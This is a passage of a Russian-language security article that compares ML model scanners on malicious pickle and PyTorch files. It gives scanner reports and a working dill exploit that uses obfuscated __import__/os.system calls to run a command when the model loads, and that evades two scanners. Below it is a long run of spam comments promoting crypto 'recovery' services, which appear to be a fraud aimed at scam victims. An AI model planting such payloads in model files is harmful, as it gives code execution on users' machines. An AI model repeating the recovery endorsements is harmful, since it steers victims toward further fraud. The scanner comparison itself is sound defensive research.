    "analysis": "`from numpy import save` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy._core.multiarray import _reconstruct` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy import ndarray` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\n`from numpy import dtype` imports a Python module that is not a part of the standard library; this can execute arbitrary code and is inherently unsafe\nVariable `_var4` is assigned value `save('/tmp/hacked.npy', _var3)` but unused afterward; this is suspicious and indicative of a malicious pickle file",
    "detailed_results": {
        "AnalysisResult": {
            "NonStandardImports": "from numpy import dtype",
            "UnusedVariables": [
                "_var4",
                "save('/tmp/hacked.npy', _var3)"
            ]
        }
    }
}

Отчет modelaudit (для краткости удалены проверки, не выдавшие результат)

{
  "bytes_scanned": 360,
  "issues": [
    {
      "message": "Found REDUCE opcode with non-allowlisted global: _reconstruct.ndarray. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "warning",
      "location": "...\\bypass_numpy.pkl (pos 283)",
      "details": {
        "position": 283,
        "opcode": "REDUCE",
        "associated_global": "_reconstruct.ndarray",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.135
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766489299.795178,
      "type": "pickle_check"
    },
    {
      "message": "STACK_GLOBAL opcode found without sufficient string context",
      "severity": "info",
      "location": "...\\bypass_numpy.pkl (pos 302)",
      "details": {
        "position": 302,
        "opcode": "STACK_GLOBAL",
        "stack_size": 1,
        "ml_context_confidence": 0.135
      },
      "why": "STACK_GLOBAL requires two strings on the stack (module and function name) to import and access module attributes. Insufficient context prevents determining which module is being accessed.",
      "timestamp": 1766489299.7956276,
      "type": "pickle_check"
    }
  ],
  "checks": [
  < СОКРАЩЕНО >
  ],
  "files_scanned": 1,
  "assets": [
    {
      "path": "...\\bypass_numpy.pkl",
      "type": "pickle",
      "size": 360
    }
  ],
  "has_errors": false,
  "scanner_names": [],
  "file_metadata": {
    "...\\bypass_numpy.pkl": {
      "file_size": 360,
      "file_hashes": {
        "md5": "218060b2af6fa1e7cfde170a407c22ed",
        "sha256": "a7d0548dea9f44333a0096f3712d14bd2cdf4ab487934a8553942cd9735e83cd",
        "sha512": "45e786da9657fb51e98a887c3870a6a54ac3060b00a20b4dc50102a64d72bde45424c0a57844e89841e3188daa8b2b8c99564689a5e594a1da6881c84a039b79"
      },
      "max_stack_depth": 7,
      "opcode_count": 152,
      "suspicious_count": 0,
      "ml_context": {
        "frameworks": {
          "sklearn": {
            "confidence": 0.135,
            "indicators": [],
            "file_patterns": []
          }
        },
        "overall_confidence": 0.135,
        "is_ml_content": false,
        "detected_patterns": [
          "module:numpy(1)"
        ],
        "optimization_hints": []
      },
      "license_info": [],
      "copyright_notices": [],
      "license_files_nearby": [],
      "is_dataset": true,
      "is_model": true,
      "risk_score": 0.0,
      "scan_timestamp": 1766489299.7962291
    }
  },
  "content_hash": "efe87668d7c0ba45b2294d6fba02025c30c1ce2a8537716f9a9216b3c7576af0",
  "start_time": 1766489299.430575,
  "duration": 0.368363618850708,
  "total_checks": 16,
  "passed_checks": 14,
  "failed_checks": 1,
  "success": true
}

Использование форматов, расширяющих функционал Pickle

Существуют протоколы, которые позволяют сериализовать еще больший список объектов по сравнению со стандартным Pickle. Примерами таких форматов являются dill и cloudpickle.

В качестве альтернативного механизма сериализации PyTorch поддерживает Dill. Его ключевое преимущество — возможность сохранять функции и лямбда-выражения. Пример такой сериализации:

import torch
import dill

def run_cmd(cmd):
    x = '__im'
    y = 'po'
    z = 'rt__'
    o = 'o'
    s = 's'
    import builtins
    module = getattr(builtins, x + y + z)(o + s)
    getattr(module, 'sys' + 'tem')(cmd)

class Exploit:
    def __reduce__(self):
        return (run_cmd, ("echo HACKED >> /tmp/hacked_obf",))

model = torch.nn.Linear(1, 1)
exploit = Exploit()

torch.save({'model': model, 'exploit': exploit}, 'malicious.pth', pickle_module=dill)

Представленный код помимо использования dill демонстрирует своеобразную обфускацию кода внутри вызываемой функции.

Для успешной (с точки зрения злоумышленника) загрузки malicious.pth можно использовать несколько подходов:

torch.load('malicious.pth', pickle_module=dill)
torch.load('malicious.pth', weights_only=False)

Последнему варианту стоит уделить особое внимание, так как до PyTorch 2.6 атрибут weights_only не был задан как True по умолчанию и вдобавок к этому поиск на GitHub по запросу "torch" AND "weights_only=False" выдает более 80 тыс. результатов.

Сводка проверок собранного malicious.pth всеми сканерами (отчеты сканеров представлены ниже):

Сканер	Найдены ли проблемы	Уровень опасности	Обозначения сработавших проверок
picklescan	❌
modelscan	❌
fickling	не поддерживает формат `.pth`
modelaudit	✅	warning, critical	1. `Suspicious patterns detected: STACK_GLOBAL(3), GLOBAL(9), OBJ(1), NEWOBJ(1), REDUCE(3) opcodes detected` 2. `Legacy dangerous pattern detected: __import__` 3. `Suspicious reference dill._dill._create_code` 4. ...

Отчет picklescan:

$ picklescan --globals --path .\malicious.pth
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
All globals found:
  * dill._dill._create_code - suspicious
  * _codecs.encode - suspicious
  * torch.nn.modules.linear.Linear - suspicious
  * __main__.__dict__ - suspicious
  * torch._utils._rebuild_tensor_v2 - innocuous
  * collections.OrderedDict - innocuous
  * torch._utils._rebuild_parameter - suspicious
  * dill._dill._load_type - suspicious
  * dill._dill._create_function - suspicious
  * torch.FloatStorage - innocuous

Отчет modelscan:

$ modelscan -p malicious.pth
No settings file detected at /.../modelscan-settings.toml. Using defaults. 

Scanning /.../malicious.pth:malicious/data.pkl using modelscan.scanners.PickleUnsafeOpScan model scan

--- Summary ---

 No issues found! 🎉

--- Skipped ---

Отчет modelaudit (для краткости из отчета удалены проверки, не выдавшие результат)

{
  "bytes_scanned": 5522,
  "issues": [
    {
      "message": "Suspicious patterns detected: STACK_GLOBAL(3), GLOBAL(9), OBJ(1), NEWOBJ(1), REDUCE(3) opcodes detected",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "cve_id": "CVE-2025-32434",
        "opcode_counts": {
          "STACK_GLOBAL": 3,
          "GLOBAL": 9,
          "OBJ": 1,
          "NEWOBJ": 1,
          "REDUCE": 3
        },
        "total_dangerous_opcodes": 17,
        "unique_opcode_types": [
          "OBJ",
          "NEWOBJ",
          "STACK_GLOBAL",
          "GLOBAL",
          "REDUCE"
        ],
        "code_execution_risks": [
          "New-style object creation",
          "Module import and attribute access",
          "Object creation code execution",
          "Direct code execution patterns",
          "Dynamic import and attribute access",
          "__reduce__ method exploitation"
        ],
        "import_analysis": {
          "total_imports": 10,
          "all_legitimate": false,
          "found_malicious": [],
          "found_imports": [
            "__main__.__dict__",
            "_codecs.encode",
            "dill._dill._create_function",
            "torch.nn.modules.linear.Linear",
            "torch.FloatStorage",
            "torch._utils._rebuild_parameter",
            "torch._utils._rebuild_tensor_v2",
            "dill._dill._load_type",
            "collections.OrderedDict",
            "dill._dill._create_code"
          ]
        },
        "safetensors_available": false,
        "assessment": "suspicious",
        "vulnerability_description": "The weights_only=True parameter in torch.load() does not prevent code execution from pickle files, contrary to common security assumptions.",
        "recommendation": "Model contains unusual pickle patterns that require manual review. Consider using SafeTensors format or verifying model source before deployment.",
        "affected_pytorch_versions": "All versions ≤2.5.1",
        "fixed_in": "PyTorch 2.6.0"
      },
      "timestamp": 1766529556.1877365,
      "type": "pytorch_zip_check"
    },
    {
      "message": "Legacy dangerous pattern detected: __import__",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "pattern": "__import__",
        "detection_method": "legacy_pattern_matching",
        "pickle_filename": "no_obf/data.pkl"
      },
      "timestamp": 1766529556.176348,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._create_code",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "module": "dill._dill",
        "function": "_create_code",
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1856666,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._load_type",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "module": "dill._dill",
        "function": "_load_type",
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1858368,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._create_function",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
      "details": {
        "module": "dill._dill",
        "function": "_create_function",
        "opcode": "STACK_GLOBAL",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1860723,
      "type": "pickle_check"
    },
    {
      "message": "Found NEWOBJ opcode - potential code execution",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 53)",
      "details": {
        "position": 53,
        "opcode": "NEWOBJ",
        "argument": "None",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The NEWOBJ opcode creates new-style class instances. It can execute initialization code and is commonly used in pickle exploits.",
      "timestamp": 1766529556.1862166,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._load_type",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 438)",
      "details": {
        "module": "dill._dill",
        "function": "_load_type",
        "position": 438,
        "opcode": "GLOBAL",
        "import_reference": "dill._dill._load_type",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1864522,
      "type": "pickle_check"
    },
    {
      "message": "Found REDUCE opcode with non-allowlisted global: dill._dill._load_type. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 476)",
      "details": {
        "position": 476,
        "opcode": "REDUCE",
        "associated_global": "dill._dill._load_type",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766529556.186561,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._create_function",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 977)",
      "details": {
        "module": "dill._dill",
        "function": "_create_function",
        "position": 977,
        "opcode": "GLOBAL",
        "import_reference": "dill._dill._create_function",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1866915,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference dill._dill._create_code",
      "severity": "critical",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1009)",
      "details": {
        "module": "dill._dill",
        "function": "_create_code",
        "position": 1009,
        "opcode": "GLOBAL",
        "import_reference": "dill._dill._create_code",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
      "timestamp": 1766529556.1867952,
      "type": "pickle_check"
    },
    {
      "message": "Found REDUCE opcode with non-allowlisted global: _codecs.encode. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1094)",
      "details": {
        "position": 1094,
        "opcode": "REDUCE",
        "associated_global": "_codecs.encode",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766529556.1869295,
      "type": "pickle_check"
    },
    {
      "message": "Found REDUCE opcode with non-allowlisted global: __main__.__dict__. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
      "severity": "warning",
      "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1737)",
      "details": {
        "position": 1737,
        "opcode": "REDUCE",
        "associated_global": "__main__.__dict__",
        "cve_id": "CVE-2025-32434",
        "ml_context_confidence": 0.315,
        "pickle_filename": "no_obf/data.pkl"
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1766529556.1870513,
      "type": "pickle_check"
    }
  ],
  "checks": [
    < СОКРАЩЕНО >
  ],
  "files_scanned": 1,
  "assets": [
    {
      "path": "...\\torch_obfuscated\\no_obf.pth",
      "type": "pytorch_zip",
      "size": 3421
    }
  ],
  "has_errors": false,
  "scanner_names": [],
  "file_metadata": {
    "...\\torch_obfuscated\\no_obf.pth": {
      "file_size": 3421,
      "file_hashes": {
        "md5": "84a4506f4c738417a0448d1e3768f230",
        "sha256": "bbe230a6e86e6200662186f400e76f6bbbe5f10097950f9bbe3692c2d377a7d2",
        "sha512": "3cbb48b4bc86427f889b72269ac72d38e2cfd9a3f47856db2f2ca6a13fec14ec30e4a3d82f9d9cd223baa2acbaca0d9842371cc9029d6a546e67a38e8c8c9e68"
      },
      "max_stack_depth": 18,
      "opcode_count": 345,
      "suspicious_count": 6,
      "ml_context": {
        "frameworks": {
          "pytorch": {
            "confidence": 0.315,
            "indicators": [],
            "file_patterns": []
          }
        },
        "overall_confidence": 0.315,
        "is_ml_content": true,
        "detected_patterns": [
          "module:torch(4)",
          "module:collections(1)"
        ],
        "optimization_hints": []
      },
      "license_info": [],
      "copyright_notices": [],
      "license_files_nearby": [],
      "is_dataset": false,
      "is_model": true,
      "risk_score": 0.0,
      "scan_timestamp": 1766529556.1899319,
      "pickle_files": [
        "no_obf/data.pkl"
      ]
    }
  },
  "content_hash": "9b51092dc796284028b3f7f6cf3d6ac7d11f9b8d761127d01885ed0a0cffe9a1",
  "start_time": 1766529554.3617566,
  "duration": 1.8323705196380615,
  "total_checks": 24,
  "passed_checks": 18,
  "failed_checks": 6,
  "success": true
}

Выводы

Как бы это банально ни звучало – использование непроверенных моделей машинного обучения повышает риски наступления опасного инцидента ИБ, но для снижения этих рисков недостаточно выбрать какой-то новый сканер, ведь у каждого из них есть свои ограничения как по применяемым типам проверок, так и по поддерживаемым форматам сериализации моделей.

Среди всех проанализированных инструментов самым зрелым оказался modeaudit, опережая всех конкурентов по основным, на мой взгляд, параметрам:

Подробная документация,
Множество поддерживаемых для сканирования форматов хранения моделей,
Множество разнообразных типов проверок.

Стоит уточнить, что в данном обзоре никак не фигурировали возможные ошибки первого рода (False Positive). Но если вы не занимаетесь проверкой сотен и более моделей в день, то для вас основной проблемой при сканировании будет ошибка второго рода, то есть, False Negative.

P.S.: Выражаю благодарность за помощь в доработке статьи Артёму Семёнову, автору канала @pwnai

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20 янв. 2026 г.

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15.06.26 13:05 James willson

The Most Credible Crypto Recovery Service: RESQPROFIRM RESQPROFIRM is a reliable, legitimate company that helps recover lost cryptocurrency assets. After weeks of doubting whether my lost BTC could ever be restored, I realized how widespread crypto scams have become. Caution is essential when dealing with strangers online, especially about money. While recovering stolen crypto is possible, avoiding fake "recovery companies" is just as important. Real hackers work discreetly and don't advertise openly. I was scammed multiple times while desperately seeking help. Finally, a friend introduced me to RESQPROFIRM—a trustworthy, discreet team. They handle everything from website security to crypto asset recovery. With their help, I recovered $320,000 in USDT within a week. Their professionalism, discretion, and speed were outstanding. If you've been compromised, don't lose hope—but beware of fraudsters posing as saviors. RESQPROFIRM are true professionals. I'm living proof. Contact them at [email protected], WhatsApp +19852969146, or Telegram @resqprofirm.
15.06.26 13:06 Tansy

Lost $18,500 to a fake Elon Musk crypto giveaway. Sent ETH, got nothing. Recovery pages demanded more gas fees. I stopped believing. FuNds rEtRiEveR on Te.le_gram was the real one. Email: [email protected] – WhatsApp: +1 603 512 1448
15.06.26 13:08 Sarahy billy

A REAL EXPERIENCE, EVERYONE ... PLEASE BE CAREFUL ONLINE A few weeks ago, I lost around $64,000 to a fake crypto trading platform. I was drawn in by the promise of earning 15% profit daily. It was a devastating time—I struggled to pay my bills and was financially ruined. I eventually opened up to a close friend, who recommended a crypto recovery team with highly effective methods. I contacted them, and they successfully recovered all my stolen digital assets with ease. Their service was excellent, and they acted quickly—within just 5 working days, they tracked down the scammers and returned my funds. I strongly urge anyone facing investment theft or similar issues to reach out to this team for the right solution and avoid losing large sums to fraudsters... Email: Resqprofirm @aol.com WhatsApp: +19852969146, telegram @resqprofirm
15.06.26 13:12 Cole donald

"I strongly recommend RESQPRO FIRM to anyone trying to recover lost cryptocurrency assets, including Bitcoin, USDC, USDT, Ethereum, and Trump Coin. Like many others, I was shocked to learn that crypto holdings can be stolen even when private keys are carefully protected. After a sophisticated hack wiped out my entire portfolio, I felt completely helpless. Fortunately, I was referred to RESQPRO FIRM. Their team understood the complexity of my situation and successfully recovered my funds. They were responsive, communicated clearly, and followed a careful, step-by-step process—which gave me a lot of reassurance during a stressful time. If you've experienced a similar financial loss, I encourage you to reach out to them. Their professionalism and ethical hacking skills exceeded my expectations." Contact Info: · WhatsApp: +1 (985) 2969146 · Email: [email protected] · Telegram: Resqprofirm
15.06.26 13:16 Meral Yetkiner

I recently lost $38,000 to an online platform. Initially, they requested additional deposits to grant me access to my portfolio. Despite complying, my withdrawal requests were repeatedly denied, and they continued asking for more funds. Suspecting fraudulent activity, I ceased further payments and promptly reported the matter to ResQProfirm, a firm I discovered through Google. They listened to my situation, initiated communication regarding the sequence of events, and requested all relevant evidence to support their investigation. Through their dedicated efforts, they successfully traced and recovered my funds. I extend my thanks to ResQProfirm at [email protected] and via WhatsApp at +19852969146. I urge everyone to exercise caution and thoroughly research any platform before investing.
15.06.26 13:18 Silas Olsen

A fraudulent investment scheme operated by BTCMining.limited functions as a fake return scam. In this setup, scammers lure victims with false promises of high returns. Through manipulative tactics, they gain individuals' trust and convince them to invest, ultimately leading to financial loss. If you have ever faced a cyber threat or fallen victim to an online crypto scam and need to reach the authorities, I recommend contacting [email protected]. They are a legitimate team that helps victims of online crypto scams using advanced tools.
15.06.26 13:59 Ewaguz

If a binary options broker refuses your withdrawal, do not pay any "verification fees" or "tax fees." These are lies designed to extract more money. Stop communicating with their support team – they are trained to stall. Instead, immediately document every transaction, screenshot your account balance, and contact a professional recovery specialist. BinaryBook stole €14,500 from me before I learned this. FundsRetriever traced the deposits and recovered everything within two weeks. Do not wait. Do not pay more fees. Act now. Contact [email protected], WhatsApp +1(603)5121(448) or Telegram FUNDSRETRIEVER.
15.06.26 14:16 Martina k.

Stop putting money into platforms promising guaranteed monthly returns of 10%, 20%, or more. These are Ponzi schemes. Your "profits" are just other victims' deposits. The moment withdrawals slow down, the scam is about to collapse. If you already have money trapped, do not send more to "unlock" your funds. That is a second scam. Instead, gather all transaction hashes and wallet addresses. Bitcoin Evolution Pro took €25,000 from me. FundsRetriever traced the funds through KYC exchanges and recovered my principal. Contact [email protected], WhatsApp +1(603)5121(448) or Telegram FUNDSRETRIEVER.
15.06.26 14:18 Garrison Good

If IQ Option or any similar platform blocks your withdrawal citing "bonus terms" or "abnormal activity," do not argue with their chat support. They are not empowered to help you. Instead, request all trade logs and bonus terms in writing. Then hire a forensic specialist to audit your account. IQ Option held my €9,200 for two months. FundsRetriever reviewed my case, identified regulatory violations, and secured my full payout within 72 hours. Professional pressure works. Do it immediately. Contact [email protected], WhatsApp +1(603)5121(448) or Telegram FUNDSRETRIEVER.
15.06.26 14:22 Sallymarch

Never grant API keys with withdrawal permissions to any third-party software. This is how crypto arbitrage bots steal your funds. If you have already done this, revoke all API keys immediately. Then check your exchange transaction history. CryptoArb AI drained €7,800 from my account within hours. FundsRetriever reverse-engineered the bot's code, traced the scammer's wallet, and recovered everything. Always use "read-only" API permissions only. If you made the mistake, act fast. Contact [email protected], WhatsApp +1(603)5121(448) or Telegram FUNDSRETRIEVER.
15.06.26 14:23 Glennrobble

If a binary options broker closes your account and confiscates your profits, do not accept their explanation. Demand a full audit of your trade history. Most brokers cannot justify their actions when challenged by professionals. ExpertOption stole €6,200 from me claiming "abnormal activity." FundsRetriever audited my trades, proved they were legitimate, and threatened legal action. The broker paid within 10 days. Do not let them intimidate you. Get professional help. Contact [email protected], WhatsApp +1(603)5121(448) or Telegram FUNDSRETRIEVER.
15.06.26 14:25 Evan Garrison

Cloud mining contracts are almost always too good to be true. I learned that the hard way with MineMax. First two months, small daily payouts. Then "maintenance fees" ate everything. Then my account was frozen. Then the website disappeared. I was heartbroken. FundsRetriever traced my payments through three shell companies to a real bank account. They froze it and got my €11,000 back. Recovery is possible even from complex scams. Contact [email protected], WhatsApp +1(603)5121(448) or Telegram FUNDSRETRIEVER.
15.06.26 14:26 Ewaguz

That 100% deposit bonus looks tempting, doesn't it? I took it. Big mistake. When I tried to withdraw my €4,500, Olymp Trade demanded I trade 50 times the bonus amount. Impossible by design. My money was trapped. FundsRetriever reviewed the terms and found they violated consumer protection laws in my country. They negotiated directly with Olymp Trade's legal team. Within a week, my funds were released. My advice? Never accept bonuses. But if you're already trapped, call [email protected], WhatsApp +1(603)5121(448) or Telegram FUNDSRETRIEVER.
15.06.26 16:34 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.06.26 16:34 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.06.26 16:41 Louane Mercier

It is crucial to act quickly and consult a reputable, experienced recovery specialist who will support you throughout the entire recovery process. You must provide them with transaction evidence, scammer information, and any other relevant details that could aid the investigation. With this data, the experts can trace and attempt to recover your funds from the scammers' concealed accounts or wallets. R£sQprofirm company offers recovery assistance with no upfront fees. Contact them via Telegram (@ResQprofirm), WhatsApp (+19852969146), or email ([email protected]).
15.06.26 16:45 Andrés Montero

I’m open about my experience with Bitcoin investment and losing money to scammers. That said, it is possible to recover stolen Bitcoin. I used to think recovery was impossible because that’s what I had been told. But last October, I fell for a forex scam promising extremely high returns and ended up losing nearly $87,600. After searching for help for a month, I came across a Reddit article about recovering stolen cryptocurrency. I reached out to the contact provided: [email protected] and WhatsApp +19852969146. I was scared and skeptical, having heard many bad stories, but I decided to give them a try. To my amazement, I got all my stolen Bitcoin back within a very short time. I’m not sure if I’m allowed to post links here, but you can reach out to them if you also need help.
15.06.26 16:48 Olivia Sørensen

Several months ago, investing in Bitcoin proved to be one of my most lucrative endeavors. I achieved considerable profits across multiple platforms and felt a strong sense of accomplishment. Unfortunately, the situation deteriorated when I inadvertently engaged with a fraudulent Bitcoin platform. This entity swindled me out of $92,000 USD, refused to honor my withdrawal requests, and persistently demanded further deposits. Fortunately, I encountered (R£SQPRO FIRM) online. After reporting my case to them, they acted promptly and effectively recovered my lost Bitcoin. I am sincerely grateful for their professionalism and continuous assistance. Contact: ResQprofirm AT aol.com, Telegram @resqprofirm, WhatsApp +1 9 8 5 2 9 6 9 1 4 6.
15.06.26 16:51 Viljar Yohannes

I'm willing to share my experience with Bitcoin investment and losing money to scammers. But yes, recovering stolen Bitcoin is possible. I never believed in Bitcoin recovery myself, because I was told it couldn't be done. Then, last October, I fell for a forex scam that promised unrealistically high returns, and I ended up losing nearly $70,000. I searched for help for about a month until I finally found a Reddit article about recovering stolen cryptocurrency. I reached out to the contact mentioned: [RESQPROFIRM [at] AOL DOT com] and [WhatsApp +19852969146]. I was scared and skeptical because I'd heard horror stories, but I decided to give them a try. To my surprise, I got all my stolen Bitcoin back from the scammers in a very short time. I'm not sure if I'm allowed to post links here, but you can contact them if you need help too.
15.06.26 16:58 Guimar da Rosa

Withdrawal troubles shouldn’t stress you out. I faced a similar problem, and this firm stepped in and recovered my funds. Their support truly mattered. Contact them: [ResQProFirm @aol.com] telegram @resqprofirm, WhatsApp: <+198> <5296> <9146>.
15.06.26 17:03 Andrea Escalante

If withdrawals keep getting denied, stay calm. I went through the same, and this firm helped me recover everything. Their assistance was outstanding. Contact: [[email protected]], Telegram: ResQprofirm, WhatsApp: <+198> <5296> <9146>. Withdrawal troubles shouldn’t
16.06.26 11:40 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: Email: [email protected] Telegram: @Capitalcryptorecover Contact: [email protected] Call/Text: +1 (336) 390-6684 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
16.06.26 11:43 robertalfred175

